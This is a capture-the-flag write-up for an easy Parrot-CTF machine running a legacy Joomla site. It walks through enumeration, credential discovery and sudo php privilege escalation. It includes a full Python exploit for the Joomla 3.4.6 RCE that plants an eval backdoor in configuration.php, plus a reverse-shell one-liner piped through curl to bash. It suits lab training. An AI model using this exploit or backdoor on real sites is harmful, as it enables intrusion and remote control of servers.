Pet shop

  • Parrot-CTF
  • Easy

🦜 Parrot CTFs is an advanced cybersecurity education platform and Capture The Flag provider. Their goal is to create the most realistic Capture The Flag challenges and demonstrate real-world attack scenarios.

This is an easy difficulty machine that exploits a legacy Joomla Content Management System (CMS) and a binary that has SUID permissions to gain root privileges.

Content:

Enumeration 🔎:

We start by using ping to check the TTL of the machine to determine the OS we are dealing with.

Based on the TTL value of 63, we can determine that the machine is running a Linux machine. However, this is not for sure, but it gives us an idea. For more information, you can view: Identify OS using TTL value.

Now, let’s go with an nmap scan to view the open ports.

sudo nmap -p- --open -sS --min-rate 5000 -n -v -Pn 10.14.0.65 -oN allPorts

-p- –> We are doing a scan against all 65535 ports to search for open ports.

--open –> It will only report open ports.

-sS –> It can be performed quickly, scanning thousands of ports per second.

--min-rate 5000 –> It sets the minimum rate of packets sent per second to 5000.

-n –> Tells Nmap to never do reverse DNS resolution on the active IP addresses it finds.

-v –> It will be verbose in its output.

-Pn –> This option skips the host discovery stage.

-oN –> It will save the output in a file called “allPorts”.

We find out the following open ports:

Let’s take a look at what the page has.

We can see some posts and a user joomla who wrote the posts.

Let’s use Wappalyzer to detect more information about what tecnologies the page is using.

We can see that the Content Management System (CMS) is Joomla, what is a for publishing web content like WordPress and others. Now that we know the CMS, we can search for any administration panel and try default creds. Maybe we have luck :), a quick search in Google show us that the directory for the admin panel is /administrator. We can try to view it going to: http://10.14.0.65/joomla/administrator

By default, the username is admin and the password must be defined in the installation progress. We can try login with the user that we find earlier: “joomla:joomla” but it doesn’t work, so… lets put this aside and continue doing other things.

We can use HackTricks to search for commons ways to enumerate joomla and try to exploit it, first lets try to search the version.

Going to the directory /language/en-GB/en-GB.xml we can see the version of the CMS, now let’s search for public exploits for this version.

We can use searchsploit to search for exploits and we can find a lot :)

There are various ways to solve the machine, an easy one and a not-too-easy one. Let’s first look at the easy way.

Easy way 🛣️:

Let’s do more enumeration. We can use wfuzz to do fuzzing in the page.

We can inspect these directories one by one. We can find that some of them have directory listing capabilities, but we cannot find any useful information…

Ok mmm… Let’s fuzz for file extensions such as backup files: bak, backup, bck…

Wow we can see that there is a configuration file configuration.backup. Let’s view its contents.

The output is ugly so let’s fix it up. Press ctrl + u to view the source code. This will make the output a lot prettier, and we can see a username and password. :)

Now we can login to the machine with the credentials that we found with: ssh ron@10.14.0.65, and we are in.

Now that we are inside the machine you need to do one thing to ensure smooth operation:

-> export TERM=xterm

This will allow us to clean the screen with ctrl + l.

Not too easy way 🛣️:

Let’s go back a bit and look the available exploits.

In this case, I am going to use the exploit with the title: 3.4.6 - 'configuration.php' Remote Code Execution. You can find all the technical details here.

You can use searchsploit -x php/webapps/47465.py to inspect the source of the exploit, and if you want to copy it to your local directory, you can use: searchsploit -m php/webapps/47465.py.

If you execute it, it will tell you that it is not vulnerable. However, in reality, it is vulnerable.

This is where things get complicated. You need to modify and test the exploit using Burp Suite. If you want to understand how this really works, view the technical details. But to keep this write-up from getting too long, I’m going to give you my script to exploit it.

#!/bin/python3

import requests as r, string, random, re, signal, sys
from bs4 import BeautifulSoup

url = "http://10.14.0.65/joomla/"
#PROXS = {"http":"http://127.0.0.1:8080"}
PROXS = {}

def def_handler(sig, num):
	print("\n\nSaliendo...\n")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def random_string(stringLength):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(stringLength))

def get_backdoor_pay(): # This payload will backdoor the the configuration .PHP with an eval on POST request
	function = 'assert'
	template = 's:3:"FmF";O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
	payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
	function_len = len(function)
	final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
	return final

def request(url, payload):
	s = r.Session()
	page = s.get(url + 'index.php/login')
	soup = BeautifulSoup(page.content, "html.parser")

	values = soup.find_all("input")

	csrf = values[-1] # Gets the CSRF token value
	ok = re.findall('name="(.*?)"', str(csrf))
	csrf = ok[0]
	url = url + 'index.php/login?task=user.login'

	return_value = values[-2] # Gets the return value
	ok = re.findall('value="(.*?)"', str(return_value))
	return_value = ok[0]

	user_payload = '\\0\\0\\0' * 9
	inj_object = '";'
	inj_object += payload
	inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
	password_payload = 'AAA' + inj_object

	data = {
		'username':user_payload,
		'password':password_payload,
		'return':return_value,
		csrf:'1'
	}

	s.post(url, proxies=PROXS, data=data)

def ping_backdoor(url, param_name):
	while True:
		command = input("[RCE]~> ")
		res = r.post(url + 'configuration.php', data={param_name:'system(\''+ command +'\');'}) # Here is where the magic happens
		print(res.text)

if __name__ == '__main__':
	backdoor_param = random_string(50) ## Generate a unique string for our payload
	payload = get_backdoor_pay()
	print("[+] Backdoor id: " + backdoor_param)
	request(url, payload)
	print("[+] Backdoor is ready, you can enter now...\n")
	ping_backdoor(url, backdoor_param)

Now with this, we can execute commands, but this is NOT a full interactive shell yet.

To get an interactive shell, there are a lot of ways to do it, but I’m going to use this one:

Create a file with the name index.html, with this content:

bash -i >& /dev/tcp/YOUR_IP_HERE/443 0>&1

Now use the command: sudo python3 -m http.server 80 to put a http server where we are sharing our files.

And finally use the command nc -lvnp 443 to listen for our reverse connection from our payload above.

Now execute the command: curl YOUR_IP_HERE | bash this is going to get the content of the file index.html and interpret the content as a bash command.

We can see that we get a shell like www-data user.

Now that we are inside the machine you need to do various things to ensure smooth operation:

  1. -> script /dev/null -c bash
  2. -> ctrl + z
  3. -> stty raw -echo; fg
  4. -> reset xterm
  5. -> export TERM=xterm

This will allow us to clean the screen with ctrl + l and if we do ctrl + c is not going to kill the shell, more info here.

We can see the configuration.backup file so here we can get the creds of the user ron and we can connect through SSH.

Privilege escalation đźš©:

Now that we are inside the machine as the user ron, we need to enumerate the system to find a way to escalate privileges.

One thing I always check first is sudo -l. This command helps us determine if we have the ability to execute commands as other user. If we are lucky, we might discover that we can execute commands with the privileges of the root user.

More info about privilege escalation techniques check here.

We can see something interesting, the binary php can be run as the root user.

A quick search in Google tells us that we can escalate privileges with it, search in GTFOBins.

We execute the commands:

And now we are root :)

Hope you like it and learn something new :)